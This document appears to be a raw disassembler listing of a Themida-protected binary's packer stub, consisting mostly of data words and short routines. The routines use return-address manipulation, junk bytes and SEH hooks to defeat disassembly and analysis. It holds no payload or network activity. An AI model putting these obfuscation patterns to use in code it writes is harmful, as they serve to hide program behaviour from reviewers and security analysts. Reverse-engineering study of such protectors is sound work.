dd 89BD8B10h, 8D07A80Fh, 0AB8C0385h, 0F531BB07h, 89505159h
dd 0BF0F2404h, 35FF64D8h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5D3CD7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3CD7 proc near ; CODE XREF: Themida_:005D3CCFp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5D3CD7 endp
; ---------------------------------------------------------------------------
db 0B6h
; ---------------------------------------------------------------------------
jmp loc_5D3CFE
; ---------------------------------------------------------------------------
db 14h, 0BFh, 5Ch
dd 50DB3234h, 77B7D1B4h, 63BCAFA5h
db 0E8h, 0C6h
; ---------------------------------------------------------------------------
loc_5D3CFE: ; CODE XREF: Themida_:005D3CE8j
mov large fs:0, esp
push 0
push ebx
call sub_5D3D10
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3D10 proc near ; CODE XREF: Themida_:005D3D08p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5D3D10 endp
; ---------------------------------------------------------------------------
dd 9F9A8834h, 0E585FF51h, 6A07A80Eh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 3F58C352h
dd 10D239A2h, 1E39BD8Bh, 8C0F07A8h, 18h, 13E9h, 0D6C50800h
dd 0E1EC52CBh, 0E517CA55h, 0FAEDB797h, 7F83B52Dh, 6AFF6Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0BAB81C3h, 5745839Bh, 5FF9BF0Fh, 0FFF88B66h, 0A80AFDB5h
dd 0DE907h, 0DC260000h, 547AA39Fh, 8F3E6714h, 0E9E39B2Bh
dd 5, 0DE5D28EAh, 6D95FF27h, 0E907A824h, 105h, 0B032B3h
dd 6458D89h, 70E607A8h, 0FA8B71E4h, 830F613Ch, 0EDh, 3440EF81h
dd 0B60F31A5h, 0A1B589C8h, 0BA07A803h, 6, 13860Fh, 800F0000h
dd 0Dh, 8E9h, 85F62200h, 97AFC66Bh, 0D3816681h, 0C18B5D0Ah
dd 645BD8Bh, 0E8C107A8h, 299D8B04h, 6607A82Eh, 820FE2F7h
dd 6, 156D9D29h, 2BF907A8h, 8E8C8h, 5F000000h, 27A594Eh
dd 5BF8C224h, 870FD18Bh, 6, 0FAEDCF81h, 76E92977h, 0F000000h
dd 858BFFB7h, 505F4C4Ch, 0C083DE8Bh, 83D98B07h, 8E0F00C0h
dd 0Ah, 5E9h, 6224A200h, 0D03B7DB8h, 11830Fh, 9D090000h
dd 7A80AEDh, 40E9h, 3D9D2900h, 8B07A808h, 0FFFFFF8Dh, 0EB8166FFh
dd 0E183177Fh, 26840F01h, 66000000h, 8B5FBDBBh, 0FFA583FEh
dd 0FEFFFFFFh, 799D2951h, 5B07A81Ah, 4C4C9589h, 9D89505Fh
dd 7A83045h, 0E9h, 66B58D00h, 0F07ACA1h, 6AFAB7h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 70C35040h, 2C7131B4h
dd 0F09600D4h, 0B5BD2927h, 0E807A804h, 7, 0EAF28F8Fh, 66209C92h
dd 0FF5FFE8Bh, 0A80D2195h, 89F1BF07h, 0B0B92CF2h, 6A000010h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0BEDDC353h, 23E19D23h, 5F5607A8h, 8BFCE183h
dd 0A81E69BDh, 8FCB8007h, 52006AFCh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0B3075985h
dd 2916F884h, 0A82C3D95h, 0F99D3307h, 0B807A82Dh, 0
; ---------------------------------------------------------------------------
mov [ebp+7A82951h], eax
pusha
or eax, 6605E11h
mov edx, esi
popa
mov edx, 0
push 0
push ebp
call sub_5D3FA8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3FA8 proc near ; CODE XREF: Themida_:005D3FA0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5D3FA8 endp
; ---------------------------------------------------------------------------
dd 0B9CBD3F0h, 0AD398B3Ah, 0E8D1C233h, 0E983D003h, 6AF47504h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 0A8B8C355h, 0BE8446Dh, 39000000h, 3E2EFE1Eh
dd 1D061FF0h, 0BD895B63h, 7A829E9h, 0D61605Fh, 88h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8EC35242h, 812F4BE8h
dd 2E035BDFh, 31958B7Fh, 0F07A817h, 58Eh, 0D3816600h, 8D8BDF2Dh
dd 7A80A59h, 0A921BF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0BB205CC3h, 0EFD770Bh, 85BD83F9h
dd 7A818h, 87840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 0FF6DA5C3h, 5ADC017h
dd 0BBA92F2Fh, 5CB2283Eh, 0B8h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F947B0E7h
dd 4659D8Bh, 8D8D07A8h, 7A84E4Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0C0C35646h, 68D0F71h, 8B000000h
dd 0A83275BDh, 8BE1FF07h, 39BD83D8h, 7A809h, 3D0840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 1236CFC3h, 9BC7D401h, 2A2D9D8Bh, 0F38107A8h
dd 73234696h, 939BD83h, 0F0107A8h, 3B084h, 0B4BF6600h
dd 39BD83DCh, 307A809h, 369860Fh, 0E8530000h, 13h, 0C43AF868h
dd 0E0CAE478h, 9F54E352h, 0B91699ABh, 8B51C15Fh, 0A810A59Dh
dd 605F5F07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 8AC35343h, 239DAF6Ch, 0C0495A42h, 499D8BEFh, 6607A821h
dd 8E0FD98Ch, 6, 2E758589h, 9D2907A8h, 7A817C5h, 6A04E180h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0F32BC356h, 0AA4ACC41h, 0BD8B3E63h, 7A827C9h
dd 840FC90Ah, 128h, 54F78166h, 0B1858BE0h, 6A07A80Bh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 825CC351h, 8C0Fh, 0C7810000h, 5EE18A95h, 28718533h
dd 0BD3307A8h, 7A807F9h, 25E1BD8Bh, 535007A8h, 0CA8B6660h
dd 0EE9h, 3CA71A00h, 0B6DF9A48h, 2B610CB1h, 6150B265h
dd 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0FEC35141h, 1311551Eh, 0E58669ACh, 6A02F780h, 0C01F6800h
dd 8E9AF39h, 31000000h, 7E96D646h, 814C6380h, 43E02404h
dd 0DA8A50E5h, 53995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0F2861CC3h, 0FE0235Bh
dd 198Dh, 11E800h, 1C2F0000h, 0C19221FCh, 56540C0Eh, 23D82C35h
dd 5794468Fh, 0AE95B5Fh, 36000000h, 39227C88h, 5ABF2252h
dd 2B858924h, 6607ABBBh, 0E9CF0FBFh, 117h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 99C35646h, 0BB23858Bh
dd 0EBF07ABh, 0C76BF6F4h, 1800h, 9DB58900h, 8B07A81Bh
dd 0ABBB27B5h, 0CD858B07h, 0E907A80Ch, 5, 71ACFBD3h, 89068941h
dd 0A81321B5h, 85BD8B07h, 8B07A80Ch, 0A80BB185h, 0E3DB8107h
dd 89368E52h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 0B2AA33C3h, 89206B6Fh, 0A8055585h
dd 0C1BD0107h, 9607A80Ch, 96FC8A50h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 7DC35242h, 0FBBF6651h, 0B5FF5FBDh
dd 7ABBB23h, 15659501h, 0FD6807A8h, 0B7D1BE8Ch, 2404810Bh
dd 2E607702h, 998D8951h, 5B07A819h, 0BB2B858Dh, 0B50107ABh
dd 7A81071h, 50F88B90h, 90F88B66h, 0B36A1CBFh, 3995FF0Eh
dd 0E807A805h, 0Eh, 0C1FEDB10h, 10CF0EC2h, 3AF11531h, 8B505D93h
dd 0A80759BDh, 615B5B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 6C35343h, 5B1DAE6Eh, 95297BC4h, 7A82A5Dh
dd 93985C7h, 307A8h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0B34A27C3h, 83DAE7D9h
dd 0ABBB2BBDh, 840F0007h, 4Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 64C35343h, 1571BD89h, 43E907A8h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 241BC357h, 0CEBF6605h, 0C5B52928h
dd 5007A825h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 890FC08Bh, 3, 6AF88B66h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 53F7C351h
dd 664DB613h, 0BD83FA8Bh, 7A80939h, 0C0850F03h, 6A000004h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0C1FEC353h, 251DBD89h, 0BD8307A8h, 7ABBB2Bh
dd 90840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 15EDC352h, 535D8705h
dd 38E0FB1h, 0F000000h, 0F60D9B7h, 14E9CFB7h, 0AE000000h
dd 72CE29CCh, 0E1C98A64h, 9DAEEE08h, 6CC1802Ch, 614790ACh
dd 0BB2BB5FFh, 8E907ABh, 28000000h, 0E9FD14Ch, 0FF73F002h
dd 0A8247595h, 880F07h, 89000000h, 0A824259Dh, 1FB58B07h
dd 6A07ABBBh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 0A6FCC350h, 0B919F62Eh, 9E10D608h
dd 6018529h, 6C707A8h, 10001h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0ADC35040h, 6688F071h, 8A50DE8Ah
dd 243489D9h, 77C78166h, 2BB5FF03h, 6A07ABBBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 52BEC353h, 0D4A5DAA1h, 27B9B589h, 830F07A8h, 4, 0AE8CBF66h
dd 23E595FFh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 0AE82BC3h, 7F000000h, 4A80CF7Eh
dd 0A0D95206h, 0BB5FFC23h, 17F6DCC4h, 0BB1FB58Bh, 6A07ABh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 39A92EC3h, 85EF15CFh, 8166F5DAh, 8B10EFE3h, 0A8294185h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h
dd 0C3554500h, 29A4FE74h, 6BC3B2F6h, 14E957h, 7FEF0000h
dd 0DE30EAA8h, 9D029D1Ch, 0A2D60AD8h, 0D1DDE2EAh, 895F80BEh
dd 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 5E9FE156h, 9E573523h, 958BF802h
dd 7A81731h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Dh, 48C35545h, 4FA3A2F9h, 0C3EA2DA1h, 59BB6663h, 4C2830Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h
dd 85C35747h, 205089AAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 1EC35343h, 0AADAC40Ch, 8D8F5453h, 0ABCFC185h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0A5ACD2Bh, 66570D50h, 0F381CF38h, 293A4E6Fh
dd 0B88689h, 0BF660000h, 6A6AF8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 85C35343h, 0FF595726h, 0ABBB2BB5h
dd 0C3816607h, 95FF4E67h, 7A814E5h, 8B66FC60h, 10E861F3h
dd 0C7000000h, 1F80EA18h, 0B24BADD6h, 0FCA89146h, 89524B0Dh
dd 0A8133195h, 89505B07h, 0F7812434h, 3DA97FDBh, 0BB2BB5FFh
dd 6A07ABh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0B57EC5C3h, 10E95396h, 0EA000000h, 13A418B1h
dd 860A28F1h, 2A543040h, 0FF4E82FEh, 0A81D0995h, 759D3307h
dd 8307A831h, 0A81DFDBDh, 840F0007h, 2Bh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 14h, 0B1C35040h, 6680BF50h
dd 3489191Dh, 31858924h, 0FF07A815h, 0ABBB2BB5h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0F330B23h, 680h, 8C0F00h, 0FF000000h, 0A810D595h, 2BB5FF07h
dd 0BF07ABBBh, 6575E88Ch, 0D1958B60h, 6107A80Fh, 0B3995FFh
dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0BBEB73C3h, 4852ECECh, 31F5BD83h, 0F0207A8h
dd 7284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 322FD27Eh, 768FD374h, 51BF66FAh
dd 81858BBBh, 0F07A829h, 689h, 0B5953100h, 0C607A80Eh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 0D99B29C3h, 0ED8C8BBFh, 894A2831h, 0A81DE9BDh
dd 0B9B58907h, 6607A82Dh, 0C797C3BFh, 0A821C985h, 7, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 61236A52h, 3A6EDA50h, 8166299Ah, 0E9EAF8C7h, 0FFFFF34Ch
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 40C35242h
dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 3DC193C3h, 24574B30h, 8DFBBF0Fh, 0A8042585h
dd 0D98B6607h, 66525050h, 0F10D4BFh, 0ABD9BB31h, 585A045Eh
dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 12FDC352h, 89006A56h, 0A8172595h
dd 6A006A07h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 1906C353h, 0DDA422A9h, 8DFFBF0Fh
dd 0AD37E285h, 83DE8B07h, 8B6605C0h, 0AE950DAh, 6C000000h
dd 0C72824E0h, 127BA7EFh, 24048914h, 14CDEB81h, 0EB814629h
dd 324624E5h, 870F006Ah, 2, 6ADF8Bh, 22619D8Bh, 95FF07A8h
dd 7A81B39h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 67C35040h, 0F00E3DDFh, 99D29CFh, 5007A818h, 5B5BF550h
dd 9A3B8D8Dh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 0FF45DBC3h, 56006AD1h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0C941669Eh
dd 0BFB4C6AEh, 0BD8393BCh, 7A806A5h, 0B4850F01h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 1117C350h, 664A8BFDh, 26AFE8Bh, 6820Fh, 0BD8B0000h
dd 7A8295Dh, 1A8A0F50h, 0E8000000h, 12h, 309640FCh, 9807E8EAh
dd 44239F5Ch, 0F8367551h, 5F5119C8h, 2404895Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h, 75867927h
dd 5D4AF1C5h, 0E595FF38h, 6A07A814h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 40F8C351h
dd 0E8B5BDB2h, 8, 91AC1B0Ch, 0BBEEBFD6h, 485BD8Bh, 0E95F07A8h
dd 0E71h, 0E8h, 0ED815D00h, 7AD37ECh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0DCC35040h, 939133D8h, 0BD8B5162h
dd 7A80F71h, 9195095Fh, 8B07A818h, 0A806A1BDh, 3858D07h
dd 8B07AB8Ch, 0BB6690F9h, 0E8505866h, 0Ch, 6F0364F1h, 0CE0AE012h
dd 31C13FCDh, 850F60h, 0F000000h, 8Dh, 905B6100h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0AAC35747h, 454EA24h
dd 0C6AF0F19h, 6E8FBh, 0E5C60000h, 0C13481D0h, 5FDEBF0Fh
dd 97EFEB81h, 0B70F30E0h, 35FF64F8h, 0
; ---------------------------------------------------------------------------
mov edi, 0BB56DC3h
mov [ebp+7A834FDh], eax
mov large fs:0, esp
push 0
push edi
call sub_5D4D21
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4D21 proc near ; CODE XREF: Themida_:005D4D19p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5D4D21 endp
; ---------------------------------------------------------------------------
add ah, [ecx-17EEF756h]
inc dword ptr [ebp+7A80EE5h]
sub ebx, [ebp+7A8030Dh]
push 0FFFFFFFFh
push 0
push ebx
call sub_5D4D50
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4D50 proc near ; CODE XREF: Themida_:005D4D48p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5D4D50 endp
; ---------------------------------------------------------------------------
fdiv st(7), st
mov ch, 59h
adc eax, 6A07A8h
push ebp
call sub_5D4D72
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4D72 proc near ; CODE XREF: Themida_:005D4D6Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5D4D72 endp
; ---------------------------------------------------------------------------
add bl, 0B1h
pop ss
xchg eax, edx
cmpsd
movsb
jmp loc_5D4D9C
; ---------------------------------------------------------------------------
dw 98E6h
dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh
; ---------------------------------------------------------------------------
loc_5D4D9C: ; CODE XREF: Themida_:005D4D89j
mov di, si
call dword ptr [ebp+7A8246Dh]
jmp loc_5D4EB8
; ---------------------------------------------------------------------------
dw 0BD8Bh
dd 7A82339h, 950900B0h, 7A810F9h, 8C0F70E6h, 6, 2F29BD89h
dd 71E407A8h, 0A24EBF66h, 830F613Ch, 0E4h, 8219D8Bh, 0B60F07A8h
dd 0F78052C8h, 6BA5B83h, 66000000h, 8B4018BBh, 35B589C1h
dd 0C107A818h, 895304E8h, 0A8212D95h, 0F7665F07h, 0D9F780E2h
dd 9D8BC82Bh, 7A8104Dh, 38B0Fh, 0BF0F0000h, 8BD18BFBh
dd 0A828B1BDh, 96E907h, 9D890000h, 7A80B41h, 8BDF8B66h
dd 47554C85h, 11E949h, 0A56F0000h, 0FEA14E57h, 4C68524Fh
dd 4E647691h, 83134150h, 0BD2B07C0h, 7A81A15h, 0E900C083h
dd 0Eh, 8AAD2FF3h, 0D9CD5B8h, 4CA05CEBh, 0D03BC3C9h, 0B830Fh
dd 45E90000h, 89000000h, 0A82175BDh, 0FF8D8B07h, 66FFFFFFh
dd 5476C381h, 0F01E183h, 2B84h, 6870F00h, 9000000h, 0A80EE195h
dd 0FFA58307h, 0FEFFFFFFh, 18F0Fh, 89F50000h, 47554C95h
dd 6DBD2349h, 0E907A828h, 0
; ---------------------------------------------------------------------------
loc_5D4EB8: ; CODE XREF: Themida_:005D4DA5j
lea esi, [ebp+7ACB216h]
mov bh, 4Bh
push 0
call sub_5D4ED5
aam 0BFh
sbb al, 0ACh
mov al, ds:372C1A7Ch
wait
pop ds
sbb esi, [ecx-6Ah]
; =============== S U B R O U T I N E =======================================
sub_5D4ED5 proc near ; CODE XREF: Themida_:005D4EC2p
add ebx, 16F0D572h
pop edi
call dword ptr [ebp+7A80D21h]
mov ebx, 6C27460Ah
jnb loc_5D4EF1
mov bx, 4B21h
loc_5D4EF1: ; CODE XREF: sub_5D4ED5+12j
mov ecx, 1034h
mov ebx, [ebp+7A82AE9h]
call sub_5D4F13
mov dl, 0D8h
mov ecx, 2B8381F9h
iret
sub_5D4ED5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0F7h, 0FAh, 0EFh
dd 0C7A2BD0h
db 0E0h, 84h, 0D7h
; =============== S U B R O U T I N E =======================================
sub_5D4F13 proc near ; CODE XREF: sub_5D4ED5+27p
movzx edi, di
pop edi
and ecx, 0FFFFFFFCh
push eax
add edi, [ebp+7A81861h]
pop ebx
cld
push 0
push ecx
call sub_5D4F2E
and [ecx-3Dh], bl
sub_5D4F13 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D4F2E proc near ; CODE XREF: sub_5D4F13+13p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5D4F2E endp
; ---------------------------------------------------------------------------
cdq
jl short loc_5D4F9E
retf 20EFh
; ---------------------------------------------------------------------------
dd 0EE8h, 0EE943B00h, 73C67742h, 0CAEF143Ch, 0F60D799h
dd 2B5FFABFh, 0BE9C0h, 0BAFD0000h, 0C0A080C5h, 0CA810E9Ch
dd 0BA9Bh, 1510000h, 0A828CD9Dh, 33AD5B07h, 3E8D1C2h, 4E983D0h
dd 6E8F475h, 0AF000000h, 4DE17498h, 0D9BF0F77h, 56006A5Bh
dd 3E8h
db 0, 20h
; ---------------------------------------------------------------------------
loc_5D4F9E: ; CODE XREF: Themida_:005D4F3Fj
pop esi
retn
; ---------------------------------------------------------------------------
pop esi
mov [esp+4], esi
add dword ptr [esp+4], 1Dh
inc esi
push esi
retn
; ---------------------------------------------------------------------------
and al, 0CBh
fdivr st, st
or dh, dh
fstp qword ptr ds:8D896D88h
sub [edi], ebp
test al, 7
or eax, 88h
jmp loc_5D4FD5
; ---------------------------------------------------------------------------
mov eax, ebp
mov bh, 8Bh
add al, 66h
fbld tbyte ptr [edx]
dec edx
and [eax], bl
loc_5D4FD5: ; CODE XREF: Themida_:005D4FC5j
mov edx, [ebp+7A81731h]
push 0
push ebx
call sub_5D4FE6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4FE6 proc near ; CODE XREF: Themida_:005D4FDEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5D4FE6 endp
; ---------------------------------------------------------------------------
dw 0EDBh
dd 0DCC45E06h, 0BBEC6A35h, 3113FC5Ch, 0A598D8Bh, 6A07A8h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 693555C3h, 0B4CE93FDh, 8B50F927h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 0C80BC1BBh, 0C4E3814Eh, 832A99DBh
dd 0A81885BDh, 840F0007h, 6Ch, 27C18D89h, 0B807A8h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h
dd 43000000h, 0EC7CC353h, 803BEF6Bh, 8D8DA2C3h, 7A84E4Dh
dd 4E5BD89h, 0E1FF07A8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0F2C35040h, 95B19161h, 0BF666052h, 5856A7F7h
dd 9D035B61h, 7A81735h, 939BD83h, 0F0007A8h, 4C184h, 0CE900h
dd 0F9970000h, 600126C7h, 0A63B0350h, 0BD8348E3h, 7A80939h
dd 0BE840F01h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 0F958C353h, 94919A12h
dd 96978E7Ch, 1DDD9D8Bh, 0BF0F07A8h, 39BD83F8h, 307A809h
dd 44D860Fh, 0BE90000h, 42000000h, 8448F64Fh, 39B6D77Fh
dd 6A60B40Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 548EC351h, 0D65E8858h, 870FF39Eh
dd 1, 2BF381FCh, 0F77A48Eh, 188h, 8C66F500h, 53006AD9h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 2C2FEC80h, 0EEB4677Ah, 4E180F5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 53C35545h, 0B6DD39B7h, 7ABF66A7h
dd 0FC90AC0h, 17984h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0A31798A8h, 396DE772h
dd 858BCE4Bh, 7A80BB1h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 0CEC35242h, 0F609B8Ah, 887h, 8D896000h
dd 7A81CF1h, 3352B361h, 0A8287185h, 11B58907h, 5007A806h
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 601CC357h, 0AD8D8Bh, 0DE907A8h
dd 59000000h, 16A136ECh, 3EDCF751h, 90A6D696h, 0F006A61h
dd 148Fh, 0FE900h, 94910000h, 96978E7Ch, 63CB4D0Dh, 0AE7ABDE9h
dd 4E8B1h, 3FF0000h, 40BF001Fh, 5037D812h, 12E8h, 0E106FB00h
dd 0EB9C8B2Fh, 82BD018Dh, 1422794Bh, 502AAEA5h, 8E852h
dd 82E10000h, 0DA105207h, 0F5FD1AEh, 5AFE8B31h, 448B5F58h
dd 8B0424h, 0D836BBBh, 24448943h, 6A5804h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 894A2CC3h
dd 0A81DE9BDh, 2880F07h, 0B3000000h, 3995FFE6h, 0F07A805h
dd 58Dh, 0BF0F5200h, 85895FF8h, 7ABBB2Bh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 0FC35646h, 9D8B56CFh
dd 7A81009h, 198E95Bh, 0BB660000h, 858BC973h, 7ABBB23h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 80C35242h
dd 0C07A279Fh, 0C7D8B70Fh, 1800h, 8B5B5600h, 0ABBB27B5h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 8678E8Ch, 18820FA4h, 0E8000000h, 0Ch, 0A4D897B0h
dd 73C5BFD3h, 0CDD10A65h, 3205B529h, 8B5B07A8h, 0A80CCD85h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 6A06893Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0CB78C356h, 7CFDC8ECh
dd 0B2FA50C1h, 2195BD8Bh, 858B07A8h, 7A80BB1h, 5E9h, 32696000h
dd 4689DAFEh, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 50DE8B3Dh, 8E856h, 0C660000h, 0D0A030ACh
dd 0AE8FF32h, 62000000h, 1C4D44CFh, 0DA477B9Ah, 5F5B5B4Bh
dd 0F243489h, 0B5FFDFB7h, 7ABBB23h, 0F294C781h, 0B8683935h
dd 0E8B37A75h, 0Dh, 9A036174h, 0BF7F5CF8h, 0B0EA28D1h
dd 68A0F80h, 0F000000h, 8Ch, 4815B00h, 0A48E4724h, 57006A4Ch
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 6D7F9AE8h, 0BB2B858Dh, 0BD8907ABh, 7A8197Dh, 89DE8A50h
dd 9D8B2404h, 7A80E1Dh, 53995FFh, 0B35007A8h, 6A615F9Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8B3CC352h, 0A833919Dh, 3985C707h, 307A809h
dd 89000000h, 0A8310D8Dh, 2BBD8307h, 7ABBBh, 61840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 44BBA0C3h, 0E97F77F0h, 56h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 12C35343h, 6E5B0F85h, 14E979A9h
